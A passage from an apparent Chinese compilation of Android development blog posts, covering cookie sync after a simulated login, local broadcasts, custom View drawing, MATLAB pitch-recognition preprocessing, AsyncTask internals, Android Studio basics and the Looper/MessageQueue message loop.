  httpRequest.addHeader("X-Requested-With", "XMLHttpRequest");
  try {
      // 添加请求参数到请求对象
      httpRequest.setEntity(new UrlEncodedFormEntity(params, HTTP.UTF_8));
      // 获得响应对象
      HttpResponse httpResponse = httpclient.execute(httpRequest);
      // 判断是否请求成功
      if (httpResponse.getStatusLine().getStatusCode() == 200) {
          // 获得响应返回Json格式数据
          strResult = EntityUtils.toString(httpResponse.getEntity());
          // 取得Cookie
          CookieStore mCookieStore = httpclient.getCookieStore();
          List<Cookie> cookies = mCookieStore.getCookies();
          if (cookies.isEmpty()) {
              System.out.println("Cookies为空");
          } else {
              for (int i = 0; i < cookies.size(); i++) {
                  // 保存cookie
                  Cookie cookie = cookies.get(i);
                  Log.d("Cookie", cookies.get(i).getName() + "=" + cookies.get(i).getValue());
                  cookieManager = CookieManager.getInstance();
                  String cookieString = cookie.getName() + "=" + cookie.getValue() + "; domain=" + cookie.getDomain();
                  cookieManager.setCookie("http://www.codefrom.com/", cookieString);
              }
          }
          return strResult;
      } else {
          strResult = "错误响应:" + httpResponse.getStatusLine().toString();
      }
  } catch (ClientProtocolException e) {
      strResult = "错误响应:" + e.getMessage().toString();
      e.printStackTrace();
      return strResult;
  } catch (IOException e) {
      strResult = "错误响应:" + e.getMessage().toString();
      e.printStackTrace();
      return strResult;
  } catch (Exception e) {
      strResult = "错误响应:" + e.getMessage().toString();
      e.printStackTrace();
      return strResult;
  }
  return strResult;
}

private void removeAllCookie() {
  cookieManager = CookieManager.getInstance();
  cookieManager.removeAllCookie();
  CookieSyncManager.getInstance().sync();  
}



运行改造之后的代码，我们先进行登录，然后点击按钮打开码源首页，可以看到，首页导航是可以看到登录信息的！



	
使用本地广播更新界面

完成登录之后，我们需要修改主界面的控件文字，比如我们想显示用户名等等。理论上来讲，使用startActivity将数据通过Intent从登录界面传递给主界面的方法是可行的。但是，我们需要考虑在实际中，如果多个地方校验到用户没有登录，都需要弹出登录界面，然后登录完了之后，我们需要返回的界面不一定都是主界面（如果PM要求返回主界面，当我没说），那我们该怎么办呢？

这时，我们可以通过本地广播来实现：在主界面（或者其他需要得到登录信息的界面），动态注册一个本地广播，通过广播获取到的Intent来进行数据分析，部分代码如下：


javalocalBroadcastManager = LocalBroadcastManager.getInstance(MainActivity.this);
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction("com.codefrom.broadcastreceiver.LOGIN_BROADCAST");//建议把它写一个公共的变量，这里方便阅读就不写了。
loginBroadcastReceiver = new BroadcastReceiver() {
    @Override
    public void onReceive(Context context, Intent intent) {
        Bundle bundle = intent.getExtras();

        boolean result = bundle.getBoolean("result");
        String user = bundle.getString("username");
        if (result) {
            username.setText(user);
            Toast.makeText(MainActivity.this, "登录成功", Toast.LENGTH_SHORT).show();
            loginbtn.setText("退出登录");
            isLogin = true;
        } else {
            Toast.makeText(MainActivity.this, "登录失败", Toast.LENGTH_SHORT).show();
            username.setText("未登录");
            loginbtn.setText("登录");
            isLogin = false;
        }
    }
};
localBroadcastManager.registerReceiver(loginBroadcastReceiver, intentFilter);



同时，在登录界面，登录成功之后，我们可以发送一个广播告知其他界面登录结果，由于登录在子线程中进行，我们就需要借助Handler进行广播发送：


javaHandler handler = new Handler() {
public void handleMessage(android.os.Message msg) {
    LoginInfo loginInfo = (LoginInfo) msg.obj;
    Toast.makeText(LoginActivity.this, loginInfo.getStatus() + " - " + loginInfo.getMsg() + " - " + Uri.decode(loginInfo.getMsg()) , Toast.LENGTH_SHORT).show();
    if("1".equals(loginInfo.getStatus())) {
        Intent intent = new Intent("com.codefrom.broadcastreceiver.LOGIN_BROADCAST");
        Bundle bundle = new Bundle();
        bundle.putBoolean("result", true);
        bundle.putString("username", "单车武士");
        intent.putExtras(bundle);
        localBroadcastManager.sendBroadcast(intent);
    }
};
};



其实，如果观察LoginActivity，在成功以后，它做的操作是调用Activity的finish()，也就是直接关闭登录界面了，我猜系统应该也是不推荐直接使用startActivity进行显示跳转的。

由于服务器并没有给我们返回更多用户的信息，我们先返回一个写死的username过去……当然，在网页中是根据cookie来获取用户信息的，这方面的东西在Android上面的实现我们今后再探讨。





以上就是我们实现的模拟登录码源效果，如果有什么不对的地方或者更好的建议，欢迎回复交流。




附：Demo下载


 Android如何自定义一个view——绘制篇

作者：Gemini

来源： Android如何自定义一个view——绘制篇



                    
Android中 View的绘制分为三步。



	measure —— 用于得知（子）View的大小

	layout —— 摆放好（子）View的位置

	draw —— 真正绘制View的内容



因为Android的layout系统是一个考虑好相对布局的一个系统，我们知道ViewGroup是继承于View的，思想上可以把ViewGroup当成是一个View的组合


我们看看在三个函数里分别做了什么。


onMeasure


这个函数主要传入两个参数


javavoid onMeasure(int widthMeasureSpec, int heightMeasureSpec)



一个代表宽度的参数，一个代表高度的参数。

这里的宽度参数是父容器的一些参数，它并不仅仅是数值，它用了位运算，根据相应的掩码能得到父容器能给与子容器的宽度，有EXACTLY,UNSPECIFIED和AT_MOST三个值，分别说明：



	
EXACTLY 父容器希望子视图有它指定的大小

	
UNSPECIFIED 父容器可以无限容纳子容器，子视图要多大都可以

	
AT_MOST 父容器指定了最大的大小，让子视图自行决定大小。



根据这些算出大小后，父容器就知道自己应该占多少的空间，同时报告给它的父容器，在这个时候，也可以把子容器应该有的大小记下来，一会在onLayout中用。


onLayout


这个函数声明如下：


javavoid onLayout(boolean changed, int l, int t, int r, int b)



第一个参数表明大小位置是否变动过，剩下的4个参数分别代表该容器的left，top，right和bottom，容器可以根据这个参数，直接得出它现在的宽度，高度，位置等，如果它是一个ViewGroup，那么它可以根据这些参数为它的子视图进行布局。


onDraw


好了，这个是最后的一个步骤了，就是画。

传入的参数就是Canvas 一个画布，你可以在这个画布上绘制你要的各种样式，

这时候调用getWidth和getHeight都是安全的，因为已经经过了onLayout的步骤了。


以上是Android中自定义View最重要的三个步骤，理解了这三步，就在准确的位置，准确的大小画出你想要的图形了。


 基于Android乐音识别（1）

作者：Jensen

来源： 基于Android乐音识别（1）



                    
目录


	声音信号相关知识


	声音采集过程


	乐音识别




之前在SF上回答了一个关于乐音识别相关的问题，自己课余时间也看了一些声音信号处理方面的书籍同时也有一个相关的小项目正在进展，写篇博客来分享一下学习的过程和收获。由于本身不是通信相关专业的学生，所以对于这方面没有学习过，所以一切都是从基础开始，通过谷歌，一步一步的向下走，同时也要吐槽下看到几篇论文，中国海洋大学，硕士论文也是关于乐音识别的一篇，把各种吊炸天的技术介绍一篇，然后却一点没用，呵呵，然后对于实验数据，完全不对，整个思路上就存在严重问题，被带入了坑。一点启示是找相关专业的大牛咨询要比自己一步步探索着去做，效率会高很多。

声音信号相关知识

音频信号：语音，乐音和音效的有规律的声波的频率，幅度变化的信息载体。音频信号又分为规则音频，不规则音频，规则音频是一段连续变化的模拟信号

响度，音高，音色是声音的三要素

响度取决于声音的振幅，音高取决于声音的频率，音色是产生的泛音不同所带来的差距，泛音是和基频成正整数倍关系，我们做乐音识别，所要采取的方式就是通过我们对于声音频率的提取，不同的音阶其频率是不相同的，获取了其频率，我们也就可以得到当前声音的一个曲谱。

声音采集过程

我们通过mic是如何得到一个可以播放的文件的呢？提到声音信号方面，采样，量化，编码。这个大家一定是听说过，这三个过程有什么作用呢？先从几个概念入手。

模拟信号:通过连续变化的物理量描述某一个信息，一般是信息的相关数据随着时间的变化



我们的声音就是属于模拟信号，是其幅度虽时间变化的一个信息，而对于模拟信号，我们是无法对其进行相应的处理的，因此需要将其转化为数字信号，如何转化呢？就是通过我们之前的三个步骤，采样，量化，编码。这三个步骤下来，我们就可以实现将模拟信号转化为数字信号。具体怎么转化呢？

抽样就是在指定的时间内，抽取的样本数，量化即为对抽样的物理量的数据表示，量化的数据越高，表示的越真实，编码就是按着某种规则，生成相应的二进制代码。由于我们的模拟信号在时间上是连续的，我们通过采样的方式，从其中每隔一定的时间采一个点，每秒采取的点数，即为我们的采样频率，然后是对于量化的过程，我们通过采样得到的确定了x轴上的量，我们还是需要来确定y轴上的量，此时我们通过量化的方式，把采样得到的声音信号幅度转化为数字值，是声音信号在幅度上被离散化，量化位数是每个采样点能够表示的数据范围。再通过相应的编码方式生成我们相应格式的音频文件。

关于采样的一些问题，录音设备在一秒钟内对声音信号的采样次数，声音是一种能量波，波形是由很多点构成的，所以对这些点进行采样，采样越多，对原型的还原越好，根据奈魁斯特（NYQUIST）采样定理，用2倍于一个正弦波的频率进行采样就能完全真实地还原该波形。

乐音识别大致流程

我们通过采样，量化，编码得到了相应的音频文件，现在我们要根据该音频文件来得到我们这个音频文件的曲调，也就是谱子。大致是通过以下几个步骤。


	分帧处理


	基音切割


	提取基频




我们的一个音频文件，为了能够应用音频的一些特性，我们要利用其短时不变特性，通过做一个分帧处理，将我们的音频分割成一段一段，假设其在该段上是不变的，我们便可以利用某一些特性来进行分析，此后的处理都是基于分好的每一帧。有静音段，有有声段，所以我们需要做的是将静音段切除，保留出有声段，然后再确定该有声段的频率是多少，再和我们一直各个音调的频率对比，从而确定出来，我们的音频的曲调。

加窗分帧处理

对于信号的加窗，我采取的是一个矩形窗，采样频率为44100Hz，帧长为1024，帧移为512，帧移的目的是为了使得我们的每一帧之间的过渡更平滑。matalb代码如下

y=wavread('C:\Users\Administrator\Desktop\fourblow.wav');
framelength = 1024;
step = 512;
frameNum = (length(y)-framelength)/step;

这样我们实现了对于我们的音频的一个分帧处理，同时计算出了帧的数量。通过wavread我们来获取我们的音频信号，下面第一个图便是我们通过matlab得到的图形



通过波形，按我们常识可以去判断，中间的蓝色较为粗部分即为我们的有声段，而两端比较细的地方即为静音段，中间的刺即为噪音。

基音切割

我们做分帧处理的目的即为来使用其短时不变的特性来进行相应的处理，基音的切割，我们要如何进行呢？常用的一种方式，通过能量来进行计算，静音段的能量比较低，而有声段的能量相对比较高，所以我们需要对其能量进行计算，通过该帧的幅度值绝对值的累计作为我们这一帧的能量，matlab代码如下

for i=1:frameNum;
      E(1)=0;
      for j=(i-1)*step+1:(i-1)*step+framelength
          E(1)=E(1)+abs(y(j));
      end
     E2(i) = E(1);
end

得到的图像为


通过上图，我们可以区分出有声段和无声段，由于一些细小噪音的存在，我们可以将能量的值设置为一个界限，这个界限作为我们的进入有声段的一个判别。当然对于这种细小噪音的处理，也可以通过平均过零率来去掉。
对于噪音，其平均过零率要高于我们的基音阶段，同时对于一些细小的噪音，我们可以设置一个略大于零的数据来将微小的噪音过滤掉，对于噪音过大的环境此处就先不再考虑了。
此处将过零率设置为0.1，通过这种分析可以看出分析的效果比较好。matlab代码如下

for i=1:frameNum;
     S(1)=0;
   for j=(i-1)*step+2:(i-1)*step+frameNum;
   if(y(j)>=0.1)
       last=1;
     else
      last=-1;
   end
  if(y(j-1)>=0.1)
    first=1;
  else
    first=-1;
  end;
  S(1)=S(1)+abs(last-first);
end 
S2(i)=S(1)/2;
end


由此可以得到的分析图像如下图所示


结合能量图分析和平均过零率我们就可以得到了我们的有声段，我们就可以进入该阶段，对该阶段在进行分析。

下篇更新对于基频提取，后续更新通过Android设备来实现的对于音频的一个实时识别的demo和具体实现




 AsyncTask 内部实现机制

作者：OneAPM蓝海讯通

来源： AsyncTask 内部实现机制



                    
在 Android 应用开发的过程中，我们需要时刻注意保证应用程序的稳定和 UI 操作响应及时，因为不稳定或响应缓慢的应用将给应用带来不好的印象，严重的用户卸载你的 APP，这样你的努力就没有体现的价值了。本文试图从 AsyncTask 的作用说起，进一步的讲解一下内部的实现机制。如果有一些开发经验的人，读完之后应该对使用 AsyncTask 过程中的一些问题豁然开朗，开发经验不丰富的也可以从中找到使用过程中的注意点。


为何引入 AsyncTask？


在 Android 程序开始运行的时候会单独启动一个进程，默认情况下所有这个程序操作都在这个进程中进行。一个 Android 程序默认情况下只有一个进程，但是一个进程却是可以有许线程的。


在这些线程中，有一个线程叫做 UI 线程，也叫做 Main Thread，除了 Main Thread 之外的线程都可称为 Worker Thread。Main Thread 主要负责控制 UI 页面的显示、更新、交互等。因此所有在 UI 线程中的操作要求越短越好，只有这样用户才会觉得操作比较流畅。一个比较好的做法是把一些比较耗时的操作，例如网络请求、数据库操作、复杂计算等逻辑都封装到单独的线程，这样就可以避免阻塞主线程。为此，有人写了如下的代码：


private TextView textView;
    public void onCreate(Bundle bundle){
        super.onCreate(bundle);
        setContentView(R.layout.thread_on_ui);
        textView = (TextView) findViewById(R.id.tvTest);
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    HttpGet httpGet = new HttpGet("http://www.baidu.com");
                    HttpClient httpClient = new DefaultHttpClient();
                    HttpResponse httpResp = httpClient.execute(httpGet);
                    if (httpResp.getStatusLine().getStatusCode() == 200) {
                        String result = EntityUtils.toString(httpResp.getEntity(), "UTF-8");
                        textView.setText("请求返回正常，结果是：" + result);
                    } else {
                        textView.setText("请求返回异常！");
                    }
                }catch (IOException e){
                   e.printStackTrace();
                }
            }
        }).start();
    }



运行，不出所料，异常信息如下：


android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.



怎么破？可以在主线程创建 Handler 对象，把 textView.setText 地方替换为用handler 把返回值发回到 handler 所在的线程处理，也就是主线程。这个处理方法稍显复杂，Android 为我们考虑到了这个情况，给我们提供了一个轻量级的异步类可以直接继承 AsyncTask，在类中实现异步操作，并提供接口反馈当前异步执行的结果以及执行进度，这些接口中有直接运行在主线程中的，例如 onPostExecute，onPreExecute 等方法。


也就是说，Android 的程序运行时是多线程的，为了更方便的处理子线程和 UI 线程的交互，引入了 AsyncTask。


AsyncTask 内部机制


AsyncTask 内部逻辑主要有二个部分：


1、与主线的交互


它内部实例化了一个静态的自定义类 InternalHandler，这个类是继承自 Handler 的，在这个自定义类中绑定了一个叫做 AsyncTaskResult 的对象，每次子线程需要通知主线程，就调用 sendToTarget 发送消息给 handler。然后在 handler 的 handleMessage 中 AsyncTaskResult 根据消息的类型不同（例如 MESSAGE_POST_PROGRESS 会更新进度条，MESSAGE_POST_CANCEL 取消任务）而做不同的操作，值得一提的是，这些操作都是在UI线程进行的，意味着，从子线程一旦需要和 UI 线程交互，内部自动调用了 handler 对象把消息放在了主线程了。源码地址


   mFuture = new FutureTask<Result>(mWorker) {
           @Override
            protected void More ...done() {
                Message message;
               Result result = null;
                try {
                    result = get();
               } catch (InterruptedException e) {
                    android.util.Log.w(LOG_TAG, e);
               } catch (ExecutionException e) {
                    throw new RuntimeException("An error occured while executing doInBackground()",
                            e.getCause());
                } catch (CancellationException e) {
                    message = sHandler.obtainMessage(MESSAGE_POST_CANCEL,
                           new AsyncTaskResult<Result>(AsyncTask.this, (Result[]) null));
                    message.sendToTarget();
                    return;
                } catch (Throwable t) {
                    throw new RuntimeException("An error occured while executing "
                           + "doInBackground()", t);
                }

                message = sHandler.obtainMessage(MESSAGE_POST_RESULT,
                        new AsyncTaskResult<Result>(AsyncTask.this, result));
                message.sendToTarget();
           }
        };
  private static class InternalHandler extends Handler {
        @SuppressWarnings({"unchecked", "RawUseOfParameterizedType"})
        @Override
        public void More ...handleMessage(Message msg) {
            AsyncTaskResult result = (AsyncTaskResult) msg.obj;
            switch (msg.what) {
                case MESSAGE_POST_RESULT:
                    // There is only one result
                    result.mTask.finish(result.mData[0]);
                    break;
                case MESSAGE_POST_PROGRESS:
                    result.mTask.onProgressUpdate(result.mData);
                    break;
                case MESSAGE_POST_CANCEL:
                    result.mTask.onCancelled();
                    break;
            }
        }
    }



2、AsyncTask 内部调度


cutor 都是 static 的，这么定义的变量属于类的，是进程范围内共享的，所以 AsyncTask 控制着进程范围内所有的子类实例，而且该类的所有实例都共用一个线程池和 Handler。代码如下：


public abstract class AsyncTask<Params, Progress, Result> {
    private static final String LOG_TAG = "AsyncTask";
    private static final int CORE_POOL_SIZE = 5;
    private static final int MAXIMUM_POOL_SIZE = 128;
    private static final int KEEP_ALIVE = 1;
    private static final BlockingQueue<Runnable> sWorkQueue =
            new LinkedBlockingQueue<Runnable>(10);
    private static final ThreadFactory sThreadFactory = new ThreadFactory() {
        private final AtomicInteger mCount = new AtomicInteger(1);
        public Thread More ...newThread(Runnable r) {
            return new Thread(r, "AsyncTask #" + mCount.getAndIncrement());
        }
    };
    private static final ThreadPoolExecutor sExecutor = new ThreadPoolExecutor(CORE_POOL_SIZE,
            MAXIMUM_POOL_SIZE, KEEP_ALIVE, TimeUnit.SECONDS, sWorkQueue, sThreadFactory);
    private static final int MESSAGE_POST_RESULT = 0x1;
    private static final int MESSAGE_POST_PROGRESS = 0x2;
    private static final int MESSAGE_POST_CANCEL = 0x3;



从代码还可以看出，默认核心线程池的大小是5，缓存任务队列是10。意味着，如果线程池的线程数量小于5，这个时候新添加一个异步任务则会新建一个线程；如果线程池的数量大于等于5，这个时候新建一个异步任务这个任务会被放入缓存队列中等待执行。限制一个 APP 内 AsyncTask 并发的线程的数量看似是有必要的，但也带来了一个问题，假如有人就是需要同时运行10个而不是5个，或者不对线程的多少做限制，例如有些 APP 的瀑布流页面中的 N 多图片的加载。


另一方面，同时运行的任务多，线程也就多，如果这些任务是去访问网络的，会导致短时间内手机那可怜的带宽被占完了，这样总体的表现是谁都很难很快加载完全，因为他们是竞争关系。所以，把选择权交给开发者吧。


事实上，大概从 Android 从3.0开始，每次新建异步任务的时候 AsyncTask 内部默认规则是按提交的先后顺序每次只运行一个异步任务。当然了你也可以自己指定自己的线程池。


可以看出，AsyncTask 使用过程中需要注意的地方不少



	由于 Handler 需要和主线程交互，而 Handler 又是内置于 AsyncTask 中的，所以，AsyncTask 的创建必须在主线程。

	AsyncTaskResult 的 doInBackground(mParams)方法执行异步任务运行在子线程中，其他方法运行在主线程中，可以操作 UI 组件。

	不要手动的去调用 AsyncTask 的 onPreExecute, doInBackground, publishProgress, onProgressUpdate, onPostExecute 方法，这些都是由Android 系统自动调用的

	一个任务 AsyncTask 任务只能被执行一次。

	运行中可以随时调用 cancel(boolean) 方法取消任务，如果成功调用isCancelled() 会返回 true，并且不会执行 onPostExecute() 方法了，取而代之的是调用 onCancelled() 方法。而且从源码看，如果这个任务已经执行了这个时候调用 cancel 是不会真正的把task结束，而是继续执行，只不过改变的是执行之后的回调方法是 onPostExecute 还是 onCancelled。



AsyncTask 和 Activity OnConfiguration


上面提到了那么多的注意点，还有其他需要注意的吗？当然有！我们开发 App 过程中使用 AsyncTask 请求网络数据的时候，一般都是习惯在 onPreExecute 显示进度条，在数据请求完成之后的 onPostExecute 关闭进度条。这样做看似完美，但是如果您的 App 没有明确指定屏幕方向和 configChanges 时，当用户旋转屏幕的时候 Activity 就会重新启动，而这个时候您的异步加载数据的线程可能正在请求网络。当一个新的 Activity 被重新创建之后，可能由重新启动了一个新的任务去请求网络，这样之前的一个异步任务不经意间就泄露了，假设你还在 onPostExecute 写了一些其他逻辑，这个时候就会发生意想不到异常。


一般简单的数据类型的，对付 configChanges 我们很好处理，我们直接可以通过 onSaveInstanceState() 和 onRestoreInstanceState() 进行保存与恢复。Android 会在销毁你的 Activity 之前调用 onSaveInstanceState() 方法，于是，你可以在此方法中存储关于应用状态的数据。然后你可以在 onCreate() 或 onRestoreInstanceState() 方法中恢复。


但是，对于 AsyncTask 怎么办？问题产生的根源在于 Activity 销毁重新创建的过程中 AsyncTask 和之前的 Activity 失联，最终导致一些问题。那么解决问题的思路也可以朝着这个方向发展。Android 官方文档也有一些解决问题的线索。


这里介绍另外一种使用事件总线的解决方案，是国外一个安卓大牛写的。中间用到了Square 开源的 EventBus 类库 http://square.github.io/otto/。首先自定义一个 AsyncTask 的子类，在 onPostExecute 方法中，把返回结果抛给事件总线，代码如下：


 @Override 
    protected String doInBackground(Void... params) {
        Random random = new Random();
        final long sleep = random.nextInt(10);
        try {
            Thread.sleep(10 * 6000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        return "Slept for " + sleep + " seconds";
    }

    @Override
    protected void onPostExecute(String result) {
        MyBus.getInstance().post(new AsyncTaskResultEvent(result));
    }



在 Activity 的 onCreate 中注册这个事件总线，这样异步线程的消息就会被 otta 分发到当前注册的 activity，这个时候返回结果就在当前 activity 的 onAsyncTaskResult 中了，代码如下：


 @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.otto_layout);

        findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {
            @Override public void onClick(View v) {
                new MyAsyncTask().execute();
            }
        });

        MyBus.getInstance().register(this);
    }

    @Override
    protected void onDestroy() {
        MyBus.getInstance().unregister(this);
        super.onDestroy();
    }

    @Subscribe
    public void onAsyncTaskResult(AsyncTaskResultEvent event) {
        Toast.makeText(this, event.getResult(), Toast.LENGTH_LONG).show();
    }



个人觉的这个方法相当好，当然更简单的你也可以不用 otta 这个库，自己单独的用接口回调的方式估计也能实现，大家可以试试。



  本文系 OneAPM 工程师原创。想阅读更多技术文章，请访问 OneAPM 官方技术博客。
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作者：Gavin要加油
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引言


前两天开始学习android开发，本来想用eclipse进行开发，但是到https://developer.android.com   上一看，发现android studio被大力推广，说明google已经把ide重心投入到了android sdudio上，所以就有了本文，用来介绍android studio 入门。


一、新建工程


安装什么的都不用说了，网上教程很多，下载的时候记得带上android的sdk。打开as，点击File，新建工程。


我的工程名是Test，然后，默认next，记得选择BlankActivity。最后项目建立完成。


二、使用android控件


打开res目录下的layout文件夹，双击activity_main.xml，将button按钮拖入手机中，改名为change。


点击Text我们可以看到Button这一个新加入的控件。


xml<Button
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:text="change"
    android:id="@+id/button"
    android:layout_marginTop="34dp"
    android:layout_below="@+id/textView"
    android:layout_alignParentLeft="true"
    android:layout_alignParentStart="true" />



三、编辑Activity


这个时候打开java目录，找到MainActivity.java，双击打开。我们添加两个控件声明，同时为其赋值。完整代码如下：


javapackage com.sinaapp.gavin.test;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.Button;
import android.widget.TextView;

public class MainActivity extends Activity {

    private TextView textView;//声明
    private Button button;    //声明

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        textView = (TextView)findViewById(R.id.textView);    //赋值
        button = (Button)findViewById(R.id.button);          //赋值

    }
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.menu_main, menu);
        return true;
    }
    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();

        //noinspection SimplifiableIfStatement
        if (id == R.id.action_settings) {
            return true;
        }
        return super.onOptionsItemSelected(item);
    }
}



接下来，在onCreate方法中为button设置按键监听。


javaprotected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    textView = (TextView)findViewById(R.id.textView);
    button = (Button)findViewById(R.id.button);

    button.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            textView.setText("changed");
        }
    });
}



四、debug测试


在测试时候，你可以设置断点，当程序运行到指定的位置后，它会自动进入断点，显示当前变量的一些内容，这个比较好用，因为我发现我写的程序经常出现NullException。这个时候，我就能找到我在哪里没有为变量赋值。


在工具栏run工具框下点击edit configuration，将target device设置为USB device。这时，将你的安卓手机连上你的电脑，如果没有驱动，请下载豌豆荚，他会默认下载你的手机的驱动。


点击run，现在就等着在手机上出现吧。


五、生成apk文件


在工具栏的build选项中选择generate signed apk。


 这时，需要一个密钥，我们使用java自带的密钥生成器keytool，打开windows自带的cmd命令框。输入：



  keytool -genkey -alias gavin -keypass 654321 -keyalg RSA -keysize 1024 -validity 365 -keystore e:\key\gavin.keystore -storepass 123456 -dname CN=abcd





  keypass是你自己的密码，不能被公布，storepass是公开的密码，CN是你的名字，默认输出到E盘的key文件夹下。







在第一个password中输入公开的密码，在第二个password输入你自己的密码，点击next，下一步就可以打包成apk以供下载。


六、总结


android studio是一个好ide，它是基于idea的专门为安卓进行过二次开发的一个集成开发环境，在这里你能够快速找到你想用的一些功能，总之比eclipse好用很多。
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Android的消息处理机制主要分为四个部分：



	创建消息队列

	消息循环

	消息发送

	消息处理



主要涉及三个类：



	MessageQueue

	Looper

	Handler



Android应用程序每启动一个线程，都为其创建一个消息队列，然后进入到一个无限循环之中。然后不断检查队列中是否有新消息需要处理。如果没有，线程就会进入睡眠状态，反之会对消息进行分发处理。


下面根据上面所说的进行详述。


创建消息队列


整个创建过程涉及到两个类：MessageQueue 和 Looper。它们在C++层有两个对应的类：NativeMessageQueue和Looper。其关系如下图所示：


      +------------+     +------+
      |MessageQueue+----^+Looper|
      +-----+------+     +------+
            |                    
            |                    
            |                    
+-----------+------+     +------+
|NativeMessageQueue+^----+Looper|
+------------------+     +------+

        A----^B表示B中保存A的引用



创建过程如下所示：



	Looper的prepare或者prepareMainLooper静态方法被调用，将一个Looper对象保存在ThreadLocal里面。

	Looper对象的初始化方法里，首先会新建一个MessageQueue对象。

	MessageQueue对象的初始化方法通过JNI初始化C++层的NativeMessageQueue对象。

	NativeMessageQueue对象在创建过程中，会初始化一个C++层的Looper对象。

	C++层的Looper对象在创建的过程中，会在内部创建一个管道（pipe），并将这个管道的读写fd都保存在mWakeReadPipeFd和mWakeWritePipeFd中。

然后新建一个epoll实例，并将两个fd注册进去。

	利用epoll的机制，可以做到当管道没有消息时，线程睡眠在读端的fd上，当其他线程往管道写数据时，本线程便会被唤醒以进行消息处理。



消息循环


          +------+    +------------+  +------------------+  +--------------+                    
          |Looper|    |MessageQueue|  |NativeMessageQueue|  |Looper(Native)|                    
          +--+---+    +------+-----+  +---------+--------+  +-------+------+                    
             |               |                  |                   |                           
             |               |                  |                   |                           
+-------------------------------------------------------------------------------+               
|[msg loop]  |   next()      |                  |                   |           |               
|            +------------>  |                  |                   |           |               
|            |               |                  |                   |           |               
|            |               |                  |                   |           |               
|            |               | nativePollOnce() |                   |           |               
|            |               |    pollOnce()    |                   |           |               
|            |               +----------------> |                   |           |               
|            |               |                  |                   |           |              
|            |               |                  |                   |           |               
|            |               |                  |                   |           |               
|            |               |                  |                   |           |               
|            |               |                  |     pollOnce()    |           |               
|            |               |                  +-----------------> |           |               
|            |               |                  |                   |           |               
|            |               |                  |                   | epoll_wait()              
|            |               |                  |                   +--------+  |               
|            |               |                  |                   |        |  |               
|            |               |                  |                   |        |  |               
|            |               |                  |                   | <------+  |               
|            |               |                  |                   | awoken()  |               
|            +               +                  +                   +           |               
|                                                                               |               
|                                                                               |               
+-------------------------------------------------------------------------------+               




	首先通过调用Looper的loop方法开始消息监听。loop方法里会调用MessageQueue的next方法。next方法会堵塞线程直到有消息到来为止。

	next方法通过调用nativePollOnce方法来监听事件。next方法内部逻辑如下所示(简化)：

a. 进入死循环，以参数timout=0调用nativePollOnce方法。

b. 如果消息队列中有消息，nativePollOnce方法会将消息保存在mMessage成员中。nativePollOnce方法返回后立刻检查mMessage成员是否为空。

c. 如果mMessage不为空，那么检查它指定的运行时间。如果比当前时间要前，那么马上返回这个mMessage，否则设置timeout为两者之差，进入下一次循环。

d. 如果mMessage为空，那么设置timeout为-1，即下次循环nativePollOnce永久堵塞。

	nativePollOnce方法内部利用epoll机制在之前建立的管道上等待数据写入。接收到数据后马上读取并返回结果。 



消息发送


          +-------+     +------------+   +------------------+   +--------------+                        
          |Handler|     |MessageQueue|   |NativeMessageQueue|   |Looper(Native)|                        
          +--+----+     +-----+------+   +---------+--------+   +-------+------+                        
             |                |                    |                    |                               
             |                |                    |                    |                               
sendMessage()|                |                    |                    |                               
+----------> |                |                    |                    |                               
             |                |                    |                    |                               
             |enqueueMessage()|                    |                    |                               
             +--------------> |                    |                    |                               
             |                |                    |                    |                               
             |                |                    |                    |                               
             |                |                    |                    |                               
             |                |  nativeWake()      |                    |                               
             |                |    wake()          |                    |                               
             |                +------------------> |                    |                               
             |                |                    |                    |                               
             |                |                    |    wake()          |                               
             |                |                    +------------------> |                               
             |                |                    |                    |                               
             |                |                    |                    |                               
             |                |                    |                    |write(mWakeWritePipeFd, "W", 1)
             |                |                    |                    |                               
             |                |                    |                    |                               
             |                |                    |                    |                               
             |                |                    |                    |                               
             |                |                    |                    |                               
             +                +                    +                    +                               



消息发送过程主要由Handler对象来驱动。



	Handler对象在创建时会保存当前线程的looper和MessageQueue，如果传入Callback的话也会保存起来。

	用户调用handler对象的sendMessage方法，传入msg对象。handler通过调用MessageQueue的enqueueMessage方法将消息压入MessageQueue。

	enqueueMessage方法会将传入的消息对象根据触发时间（when）插入到message queue中。然后判断是否要唤醒等待中的队列。

a. 如果插在队列中间。说明该消息不需要马上处理，不需要由这个消息来唤醒队列。

b. 如果插在队列头部（或者when=0），则表明要马上处理这个消息。如果当前队列正在堵塞，则需要唤醒它进行处理。

	如果需要唤醒队列，则通过nativeWake方法，往前面提到的管道中写入一个"W"字符，令nativePollOnce方法返回。



消息处理


             +------+       +-------+                                                                   
             |Looper|       |Handler|                                                                   
             +--+---+       +---+---+                                                                   
                |               |                                                                       
                |               |                                                                       
    loop()      |               |                                                                       
    [after next()]              |                                                                       
    +---------> |               |                                                                       
                |               |                                                                       
                |dispatchMessage()                                                                      
                +-------------> |                                                                       
                |               |                                                                       
                |               |                                                                       
                |               | handleMessage()                                                       
                |               +-------+                                                               
                |               |       |                                                               
                |               |       |                                                               
                |               | <-----+                                                               
                |               |   (callback or subclass)                                              
                |               |                                                                       
                +               +                                                                       



Looper对象的loop方法里面的queue.next方法如果返回了message，那么handler的dispatchMessage会被调用。

  a. 如果新建Handler的时候传入了callback实例，那么callback的handleMessage方法会被调用。

  b. 如果是通过post方法向handler传入runnable对象的，那么runnable对象的run方法会被调用。

